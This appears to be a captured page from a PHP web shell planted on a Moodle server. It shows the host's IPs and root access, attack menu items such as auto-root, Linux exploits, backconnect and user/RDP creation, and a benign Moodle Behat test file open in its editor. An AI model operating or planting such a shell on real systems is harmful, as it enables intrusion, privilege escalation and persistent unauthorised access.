Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle.backup.39 /
user /
tests /
behat /
[ HOME SHELL ]
Name
Size
Permission
Action
add_blocks.feature
865
B
-rw-rw-r--
addnewuser.feature
871
B
-rw-rw-r--
behat_user.php
2
KB
-rw-rw-r--
bulk_editenrolment.feature
1.65
KB
-rw-rw-r--
course_preference.feature
1.55
KB
-rw-rw-r--
custom_profile_fields.feature
10.79
KB
-rw-rw-r--
delete_users.feature
3.42
KB
-rw-rw-r--
edit_user_enrolment.feature
6.71
KB
-rw-rw-r--
edit_user_roles.feature
1.88
KB
-rw-rw-r--
edituserpassword.feature
881
B
-rw-rw-r--
enrol_cohort_list.feature
2.68
KB
-rw-rw-r--
filter_idnumber.feature
3.16
KB
-rw-rw-r--
filter_participants.feature
7.86
KB
-rw-rw-r--
filter_participants_showall.fe...
5.83
KB
-rw-rw-r--
name_fields.feature
3.03
KB
-rw-rw-r--
reset_page.feature
915
B
-rw-rw-r--
set_default_homepage.feature
1.58
KB
-rw-rw-r--
set_email_display.feature
3.25
KB
-rw-rw-r--
table_sorting.feature
3.02
KB
-rw-rw-r--
user_grade_navigation.feature
4.66
KB
-rw-rw-r--
view_full_profile.feature
4.7
KB
-rw-rw-r--
view_participants.feature
18.83
KB
-rw-rw-r--
view_preferences_page.feature
3.35
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : filter_participants.feature
@core @core_user Feature: Course participants can be filtered In order to filter the list of course participants As a user I need to visit the course participants page and apply the appropriate filters Background: Given the following "courses" exist: | fullname | shortname | groupmode | | Course 1 | C1 | 1 | | Course 2 | C2 | 0 | And the following "users" exist: | username | firstname | lastname | email | | student1 | Student | 1 | student1@example.com | | student2 | Student | 2 | student2@example.com | | student3 | Student | 3 | student3@example.com | | student4 | Student | 4 | student4@example.com | | teacher1 | Teacher | 1 | teacher1@example.com | And the following "course enrolments" exist: | user | course | role | status | timeend | | student1 | C1 | student | 0 | | | student2 | C1 | student | 1 | | | student3 | C1 | student | 0 | | | student4 | C1 | student | 0 | ##yesterday## | | student1 | C2 | student | 0 | | | student2 | C2 | student | 0 | | | student3 | C2 | student | 0 | | | teacher1 | C1 | editingteacher | 0 | | | teacher1 | C2 | editingteacher | 0 | | And the following "groups" exist: | name | course | idnumber | | Group 1 | C1 | G1 | | Group 2 | C1 | G2 | And the following "group members" exist: | user | group | | student2 | G1 | | student2 | G2 | | student3 | G2 | @javascript Scenario: No filters applied Given I log in as "teacher1" And I am on "Course 1" course homepage And I navigate to course participants Then I should see "Student 1" in the "participants" "table" And I should see "Student 2" in the "participants" "table" And I should see "Student 3" in the "participants" "table" And I should see "Teacher 1" in the "participants" "table" @javascript Scenario Outline: Filter users for a course Given I log in as "teacher1" And I am on "Course 1" course homepage And I navigate to course participants When I open the autocomplete suggestions list And I click on "<filter1>" item in the autocomplete list Then I should see "<expected1>" in the "participants" "table" And I should see "<expected2>" in the "participants" "table" And I should see "<expected3>" in the "participants" "table" And I should not see "<notexpected1>" in the "participants" "table" And I should not see "<notexpected2>" in the "participants" "table" # Note the 'XX-IGNORE-XX' elements are for when there is less than 2 'not expected' items. Examples: | filter1 | expected1 | expected2 | expected3 | notexpected1 | notexpected2 | | Group: Group 1 | Student 2 | | | Student 1 | Student 3 | | Group: Group 2 | Student 2 | Student 3 | | Student 1 | XX-IGNORE-XX | | Role: Teacher | Teacher 1 | | | Student 1 | Student 2 | | Status: Active | Teacher 1 | Student 1 | Student 3 | Student 2 | Student 4 | | Status: Inactive | Student 2 | Student 4 | | Teacher 1 | Student 1 | @javascript Scenario: Multiple filters applied Given I log in as "teacher1" And I am on "Course 1" course homepage And I navigate to course participants When I open the autocomplete suggestions list And I click on "Role: Student" item in the autocomplete list And I open the autocomplete suggestions list And I click on "Status: Active" item in the autocomplete list Then I should see "Student 1" in the "participants" "table" And I should see "Student 3" in the "participants" "table" And I should not see "Student 2" in the "participants" "table" And I should not see "Student 4" in the "participants" "table" And I should not see "Teacher 1" in the "participants" "table" # Add more filters. And I open the autocomplete suggestions list And I click on "Enrolment methods: Manual enrolments" item in the autocomplete list And I open the autocomplete suggestions list And I click on "Group: Group 2" item in the autocomplete list And I should see "Student 3" in the "participants" "table" But I should not see "Teacher 1" in the "participants" "table" And I should not see "Student 1" in the "participants" "table" And I should not see "Student 2" in the "participants" "table" And I should not see "Student 4" in the "participants" "table" # Deselect the active status filter. And I click on "Status: Active" "text" in the ".form-autocomplete-selection" "css_element" # Apply Status: Inactive filter. And I open the autocomplete suggestions list And I click on "Status: Inactive" item in the autocomplete list Then I should see "Student 2" in the "participants" "table" But I should not see "Student 4" in the "participants" "table" And I should not see "Student 1" in the "participants" "table" And I should not see "Student 3" in the "participants" "table" And I should not see "Teacher 1" in the "participants" "table" @javascript Scenario: Filter by keyword Given I log in as "teacher1" And I am on "Course 1" course homepage And I navigate to course participants # Note: This is the literal string "student", not the Role student. When I set the field "Filters" to "student" And I press key "13" in the field "Filters" Then I should see "Student 1" in the "participants" "table" And I should see "Student 2" in the "participants" "table" And I should see "Student 3" in the "participants" "table" And I should see "Student 4" in the "participants" "table" And I should not see "Teacher 1" in the "participants" "table" @javascript Scenario: Reorder users without losing filter Given I log in as "teacher1" And I am on "Course 1" course homepage And I navigate to course participants And I open the autocomplete suggestions list And I click on "Role: Student" item in the autocomplete list When I click on "Surname" "link" Then I should see "Role: Student" And I should see "Student 1" in the "participants" "table" And I should see "Student 2" in the "participants" "table" And I should see "Student 3" in the "participants" "table" And I should see "Student 4" in the "participants" "table" And I should not see "Teacher 1" in the "participants" "table" @javascript Scenario: Rendering filter options for teachers in a course that don't support groups Given I log in as "teacher1" And I am on "Course 2" course homepage And I navigate to course participants When I open the autocomplete suggestions list Then I should see "Role:" in the ".form-autocomplete-suggestions" "css_element" And I should see "Enrolment methods:" in the ".form-autocomplete-suggestions" "css_element" But I should not see "Group:" in the ".form-autocomplete-suggestions" "css_element" @javascript Scenario: Rendering filter options for students who have limited privileges Given I log in as "student1" And I am on "Course 2" course homepage And I navigate to course participants When I open the autocomplete suggestions list Then I should see "Role:" in the ".form-autocomplete-suggestions" "css_element" But I should not see "Status:" in the ".form-autocomplete-suggestions" "css_element" And I should not see "Enrolment methods:" in the ".form-autocomplete-suggestions" "css_element"
Close